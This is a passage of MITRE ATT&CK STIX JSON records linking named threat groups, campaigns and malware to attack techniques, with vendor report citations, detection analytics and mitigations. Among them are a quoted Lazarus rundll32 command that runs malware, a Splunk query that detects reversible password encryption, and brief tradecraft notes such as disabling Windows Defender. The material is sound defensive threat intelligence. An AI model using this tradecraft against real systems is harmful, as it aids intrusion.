Group5)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--077ab82e-3847-4dab-80e2-5dc0ea7d8e9e","type":"relationship","created":"2020-09-11T15:11:28.312Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2020-09-11T15:11:28.312Z","description":"[Anchor](https://attack.mitre.org/software/S0504) has used ICMP in C2 communications.(Citation: Cyberreason Anchor December 2019)","relationship_type":"uses","source_ref":"malware--5f1d4579-4e8f-48e7-860e-2da773ae432e","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--077bd0e4-5279-4409-89ab-9885bcc0ae85","created":"2024-05-20T20:37:08.588Z","revoked":false,"external_references":[{"source_name":"Crowdstrike HuntReport 2022","description":"CrowdStrike. (2023). 2022 Falcon OverWatch Threat Hunting Report. Retrieved May 20, 2024.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T20:37:08.588Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) used malicious shell scripts in Linux environments following access via SSH to install Linux versions of Winnti malware.(Citation: Crowdstrike HuntReport 2022)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--077beadb-aa94-45bd-8875-d917fcd7f6b7","type":"relationship","created":"2020-08-17T14:08:26.102Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-08-17T14:08:26.102Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can collect jpeg files from connected MTP devices.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--077ce3ec-2414-4a56-a74f-c938415c102b","type":"relationship","created":"2022-03-30T14:26:51.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.861Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0782e7d8-3df6-4eb4-99a9-3d3a74c7752c","created":"2024-02-09T21:28:31.982Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-09T21:28:31.982Z","description":"[APT5](https://attack.mitre.org/groups/G1023) has created Local Administrator accounts to maintain access to systems with short-cycle credential rotation.(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0783831d-da64-4bb3-a54e-c5149e7e0d76","type":"relationship","created":"2020-10-15T23:51:41.311Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 RDAT July 2020","url":"https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/","description":"Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}],"modified":"2020-10-15T23:51:41.311Z","description":"(Citation: Unit42 RDAT July 2020)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0788ef6e-c65f-481b-9d33-9ae7945bbc0e","created":"2024-06-10T18:22:25.752Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Huntress INC Ransom Group August 2023","description":"Team Huntress. (2023, August 11). Investigating New INC Ransom Group Activity. Retrieved June 5, 2024.","url":"https://www.huntress.com/blog/investigating-new-inc-ransom-group-activity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-03T18:01:03.753Z","description":"\n[INC Ransomware](https://attack.mitre.org/software/S1139) can push its encryption executable to multiple endpoints within compromised infrastructure.(Citation: Huntress INC Ransom Group August 2023)","relationship_type":"uses","source_ref":"malware--f25d4207-25b2-4bb0-a17a-403943c670ad","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--078ceddf-b534-4e33-acf8-8181adb249f2","created":"2022-09-21T22:40:34.695Z","revoked":false,"external_references":[{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-21T22:40:34.695Z","description":"(Citation: Mandiant UNC3890 Aug 2022)","relationship_type":"uses","source_ref":"campaign--ab747e62-1bcb-479f-a26b-1cd39d413d81","target_ref":"malware--9c10cede-c0bb-4c5c-91c0-8baec30abaf6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--078fb58f-0b5b-4021-8467-800893c35d08","created":"2021-03-10T20:32:54.398Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Iranian Threat Actor Trends November 2021","description":"MSTIC. (2021, November 16). Evolving trends in Iranian threat actor activity – MSTIC presentation at CyberWarCon 2021. Retrieved January 12, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021"},{"source_name":"IBM ITG18 2020","description":"Wikoff, A. Emerson, R. (2020, July 16). New Research Exposes Iranian Threat Group Operations. Retrieved March 8, 2021.","url":"https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-03T20:07:11.072Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) gathered credentials from two victims that they then attempted to validate across 75 different websites. [Magic Hound](https://attack.mitre.org/groups/G0059) has also collected credentials from over 900 Fortinet VPN servers in the US, Europe, and Israel.(Citation: IBM ITG18 2020)(Citation: Microsoft Iranian Threat Actor Trends November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--078fe5f7-91b4-4864-960a-24c64b14996e","created":"2023-03-17T15:00:49.466Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"},{"source_name":"McAfee Lazarus Jul 2020","description":"Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27"},{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-13T21:28:06.944Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) executed malware with `C:\\\\windows\\system32\\rundll32.exe \"C:\\ProgramData\\ThumbNail\\thumbnail.db\"`, `CtrlPanel S-6-81-3811-75432205-060098-6872 0 0 905`.(Citation: ClearSky Lazarus Aug 2020)(Citation: ESET Lazarus Jun 2020)(Citation: McAfee Lazarus Jul 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--07921720-429b-432c-8147-187162326ff2","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Accenture Hogfish April 2018","description":"Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.","url":"http://web.archive.org/web/20220810112638/https:/www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"},{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.603Z","description":"[RedLeaves](https://attack.mitre.org/software/S0153) attempts to add a shortcut file in the Startup folder to achieve persistence.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Accenture Hogfish April 2018)","relationship_type":"uses","source_ref":"malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--07939f42-c9ce-442f-a922-6c3560ac5ddc","type":"relationship","created":"2021-11-17T17:07:35.394Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."},{"source_name":"Talent-Jump Clambling February 2020","url":"https://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/","description":"Chen, T. and Chen, Z. (2020, February 17). CLAMBLING - A New Backdoor Base On Dropbox. Retrieved November 12, 2021."}],"modified":"2021-11-23T15:26:58.662Z","description":"[Clambling](https://attack.mitre.org/software/S0660) can record screen content in AVI format.(Citation: Trend Micro DRBControl February 2020)(Citation: Talent-Jump Clambling February 2020)","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--07945166-0096-44fb-855e-a25313ca2b1d","created":"2022-10-13T16:38:30.708Z","revoked":false,"external_references":[{"source_name":"Korean FSI TA505 2020","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T16:38:30.708Z","description":"[FlawedAmmyy](https://attack.mitre.org/software/S0381) has used `cmd` to execute commands on a compromised host.(Citation: Korean FSI TA505 2020)","relationship_type":"uses","source_ref":"malware--432555de-63bf-4f2a-a3fa-f720a4561078","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--079b3956-d020-4b9d-a230-e43b391e261f","created":"2024-04-04T18:09:38.950Z","revoked":false,"external_references":[{"source_name":"Kersten Akira 2023","description":"Max Kersten & Alexandre Mundo. (2023, November 29). Akira Ransomware. Retrieved April 4, 2024.","url":"https://www.trellix.com/blogs/research/akira-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-04T18:09:38.950Z","description":"[Akira](https://attack.mitre.org/software/S1129) examines files prior to encryption to determine if they meet requirements for encryption and can be encrypted by the ransomware. These checks are performed through native Windows functions such as GetFileAttributesW.(Citation: Kersten Akira 2023)","relationship_type":"uses","source_ref":"malware--6f6b2353-4b39-40ce-9d6d-d00b7a61e656","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--079d22ce-e8c8-473d-8f26-7d36ff0a26ae","created":"2024-06-11T18:26:50.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Huntress INC Ransomware May 2024","description":"Carvey, H. (2024, May 1). LOLBin to INC Ransomware. Retrieved June 5, 2024.","url":"https://www.huntress.com/blog/lolbin-to-inc-ransomware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T18:31:01.643Z","description":"[INC Ransom](https://attack.mitre.org/groups/G1032) can use SystemSettingsAdminFlows.exe, a native Windows utility, to disable Windows Defender.(Citation: Huntress INC Ransomware May 2024)","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--079eaba3-fdea-4551-b126-6e824136e6f5","type":"relationship","created":"2021-03-03T20:11:21.884Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft HAFNIUM March 2020","url":"https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/","description":"MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021."}],"modified":"2021-03-03T20:15:51.507Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) has acquired web services for use in C2 and exfiltration.(Citation: Microsoft HAFNIUM March 2020)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--079fac5b-c61b-42e4-9ce8-f7fd3b2efe1c","created":"2022-04-28T15:22:39.522Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-21T16:21:09.401Z","description":"Monitor property changes in Group Policy: Computer Configuration\\Windows Settings\\Security Settings\\Account Policies\\Password Policy\\Store passwords using reversible encryption. By default, the property should be set to Disabled.\n\nAnalytic 1 - Enabling reversible encryption outside of standard procedures.\n\nindex=windows source=\"WinEventLog:Security\" (EventCode=5136 OR EventCode=5137 OR EventCode=5138 OR EventCode=5139)\n| search AttributeLDAPDisplayName=\"msDS-User-Account-Control-Computed\" OR AttributeLDAPDisplayName=\"userParameters\"\n| rex field=_raw \"ObjectDN=(?P[^,]+)\"\n| eval Modification=if(match(AttributeValue, \".*;PwdProperties=1.*\"), \"Enabled\", \"Disabled\")\n| stats count by ObjectDN, Modification, EventCode, AttributeValue\n| where Modification=\"Enabled\" ","relationship_type":"detects","source_ref":"x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db","target_ref":"attack-pattern--d50955c2-272d-4ac8-95da-10c29dda1c48","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--07a569f4-ecb0-45b2-a880-3542508e9835","created":"2023-04-10T16:49:01.183Z","revoked":false,"external_references":[{"source_name":"Bitdefender LuminousMoth July 2021","description":"Botezatu, B and etl. (2021, July 21). LuminousMoth - PlugX, File Exfiltration and Persistence Revisited. Retrieved October 20, 2022.","url":"https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T16:49:01.183Z","description":"[LuminousMoth](https://attack.mitre.org/groups/G1014) has split archived files into multiple parts to bypass a 5MB limit.(Citation: Bitdefender LuminousMoth July 2021)","relationship_type":"uses","source_ref":"intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6","target_ref":"attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--07ab0a67-7c7b-4971-9a3e-45069f234800","type":"relationship","created":"2020-05-06T21:01:23.624Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:01:23.624Z","description":"[Attor](https://attack.mitre.org/software/S0438) encrypts collected data with a custom implementation of Blowfish and RSA ciphers.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--07ab4fde-e1fd-4740-863e-c40cc8722d32","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf","description":"Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.","source_name":"PTSecurity Cobalt Group Aug 2017"},{"url":"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf","description":"Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.","source_name":"PTSecurity Cobalt Dec 2016"},{"source_name":"Morphisec Cobalt Gang Oct 2018","url":"https://blog.morphisec.com/cobalt-gang-2.0","description":"Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018."}],"modified":"2019-07-26T23:38:33.633Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) has used public sites such as github.com and sendspace.com to upload files and then download them to victim computers.(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016) The group's JavaScript backdoor is also capable of downloading files.(Citation: Morphisec Cobalt Gang Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--07af222c-dbd5-4ea4-b94b-a0fe8bdefcee","type":"relationship","created":"2020-05-18T19:04:37.688Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Reaqta MuddyWater November 2017","url":"https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/","description":"Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020."}],"modified":"2020-05-18T19:04:37.688Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used a Word Template, Normal.dotm, for persistence.(Citation: Reaqta MuddyWater November 2017)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--07b15826-1fe3-42db-afdb-9f18e2c8ef2b","created":"2022-09-27T17:58:36.017Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T17:58:36.017Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used scripts to detect security software.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--07bbfaa8-c62f-4abc-845c-55b28434d058","type":"relationship","created":"2019-10-11T16:04:32.102Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FIN7 Oct 2019","url":"https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html","description":"Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators’ New Tools and Techniques. Retrieved October 11, 2019."}],"modified":"2019-10-11T16:04:32.102Z","description":"[BOOSTWRITE](https://attack.mitre.org/software/S0415) has used a a 32-byte long multi-XOR key to decode data inside its payload.(Citation: FireEye FIN7 Oct 2019)\t","relationship_type":"uses","source_ref":"malware--56d10a7f-bb42-4267-9b4c-63abb9c06010","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--07bc8502-7a60-4d19-b1e1-f4fb081ed50d","type":"relationship","created":"2020-10-15T12:05:58.955Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-07-28T01:04:39.671Z","description":"Ensure that all wired and/or wireless traffic is encrypted appropriately. Use best practices for authentication protocols, such as Kerberos, and ensure web traffic that may contain credentials is protected by SSL/TLS.","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--07bde07d-0aa0-42ac-a83c-9bfb154abb22","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being 